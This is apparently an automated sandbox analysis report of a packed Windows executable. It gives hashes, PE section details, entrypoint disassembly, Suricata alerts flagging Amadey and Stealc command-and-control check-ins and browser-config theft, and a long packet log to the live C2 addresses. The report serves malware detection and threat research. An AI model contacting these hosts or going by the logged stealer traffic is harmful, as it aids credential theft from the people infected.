Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946216843818434
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'824'256 bytes
MD5:	a701ff816a94c1e54f8b2175d9fcfd19
SHA1:	10d6f38310770edf01970e9572a111377c21d829
SHA256:	9d52d6333a4b985ec7d0baece9f1c0c99c1cf4ea503f7b8bbce0fe38694d0a32
SHA512:	ee1aa73fad205b7af497d8b6e9635b741ad3b487ae57d7572218c4f571515529a380f443d7cf80658e89f56ab41c91d7ab0eba25c2f2212b72d11e5bf9a7f070
SSDEEP:	49152:VJsTOoPfF0soK6KfVOBOHWGguR42KXFLhVwc5pxhTdQ:TkOahPltk2yu+VvwypfdQ
TLSH:	0A8533901AF794BDC96D93773BEBA1077A0A047CB38AFA39E30A45A2C10BB594705D1D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F93247F64CAh
lfs ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	7994252b299660084d152b78e5c3fb3c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	122b58f0fd5466089e19209138775cf8	False	0.80078125	data	5.995825667738003	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b0000	0x200	dd00582ab7800d2ab9529ca53d903778	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rahtodek	0x4fc000	0x1a4000	0x1a3800	ef38b5bee6a45a6882313edff01acefb	False	0.9946841943533969	data	7.954702091360717	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ntsegpdw	0x6a0000	0x1000	0x400	e544558dfdc95e5a59e77cac6229ba62	False	0.7529296875	data	6.0565861821877585	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a1000	0x3000	0x2200	060f45c0865cba036c84d049e5581469	False	0.0705422794117647	DOS executable (COM)	0.7690042178560873	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69f3f4	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T19:11:15.620498+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	56431	TCP
2024-11-24T19:11:22.140465+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-24T19:11:22.610094+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-24T19:11:22.876927+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49705	TCP
2024-11-24T19:11:23.223798+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-24T19:11:23.396926+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49705	TCP
2024-11-24T19:11:24.940251+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-24T19:11:25.710333+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49705	185.215.113.206	80	TCP
2024-11-24T19:11:48.362468+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:11:50.420456+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:11:52.030396+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:11:53.239778+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:11:56.864294+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:11:57.935885+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49750	185.215.113.206	80	TCP
2024-11-24T19:12:04.028572+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49837	185.215.113.16	80	TCP
2024-11-24T19:13:07.146055+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	56423	185.215.113.43	80	TCP
2024-11-24T19:13:11.709392+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	56435	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 19:11:15.620497942 CET	49673	443	192.168.2.8	23.206.229.226
Nov 24, 2024 19:11:15.995460033 CET	49672	443	192.168.2.8	23.206.229.226
Nov 24, 2024 19:11:16.112308025 CET	49676	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:18.761240959 CET	49677	80	192.168.2.8	192.229.211.108
Nov 24, 2024 19:11:20.175585985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:20.295135975 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:20.295331955 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:20.295525074 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:20.415062904 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:21.672193050 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:21.672394991 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:21.674705029 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:21.797447920 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:22.140357018 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:22.140465021 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:22.142124891 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:22.281586885 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:22.609998941 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:22.610094070 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:22.610213995 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:22.610265970 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:22.618076086 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:22.876926899 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:22.876992941 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:22.892493963 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:23.223566055 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:23.223587036 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:23.223602057 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:23.223705053 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:23.223720074 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:23.223735094 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:23.223798037 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:23.223798037 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:23.223798037 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:23.224337101 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:23.225552082 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:23.396925926 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:23.723239899 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:23.723479033 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:23.778367996 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:23.778438091 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:23.930088043 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:23.973372936 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:23.973391056 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:24.008435011 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:24.010852098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:24.016197920 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:24.940161943 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:24.940251112 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.194108963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.229851961 CET	49673	443	192.168.2.8	23.206.229.226
Nov 24, 2024 19:11:25.384035110 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.604868889 CET	49672	443	192.168.2.8	23.206.229.226
Nov 24, 2024 19:11:25.710251093 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.710333109 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.710345984 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.710419893 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.714489937 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.714556932 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.714565992 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.714612961 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.722852945 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.722910881 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.722973108 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.723018885 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.731230021 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.731302023 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.731336117 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.731380939 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.739628077 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.739697933 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.739729881 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.739774942 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.748106003 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.748210907 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.748229980 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.748275042 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.835016966 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.835088015 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.835103989 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.835144043 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.839220047 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.839273930 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.839303017 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.839348078 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.847784042 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.847800970 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.847829103 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.847867966 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.856132984 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.856154919 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.856183052 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.856215000 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.864448071 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.864496946 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.911309004 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.911365032 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.911417007 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.911459923 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.915925026 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.915977001 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.916004896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.916054010 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.923899889 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.923953056 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.927005053 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.927073956 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.927175045 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.927225113 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.935369968 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.935422897 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.935445070 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.935460091 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.944048882 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.944106102 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.944113016 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.944159031 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.952405930 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.952497005 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.952586889 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.952632904 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.960427046 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.960493088 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.961937904 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.961988926 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.962078094 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.962126017 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.970098019 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.970148087 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.970177889 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.970221996 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.975624084 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.975682974 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.975703955 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.975747108 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.983942032 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.983993053 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.984050989 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.984095097 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.992377996 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.992413044 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:25.992436886 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:25.992649078 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.036230087 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.036298990 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.036325932 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.036379099 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.039971113 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.040010929 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.040035963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.040049076 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.047164917 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.047231913 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.047271967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.047322035 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.054532051 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.054586887 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.054610014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.054661036 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.065238953 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.065310001 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.065319061 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.065362930 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.069469929 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.069531918 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.069550991 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.069593906 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.076455116 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.076519012 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.076596975 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.076641083 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.083606005 CET	80	49705	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:26.083709955 CET	49705	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:26.083754063 CET	80	49705	185.215.113.206	192.168.2.8
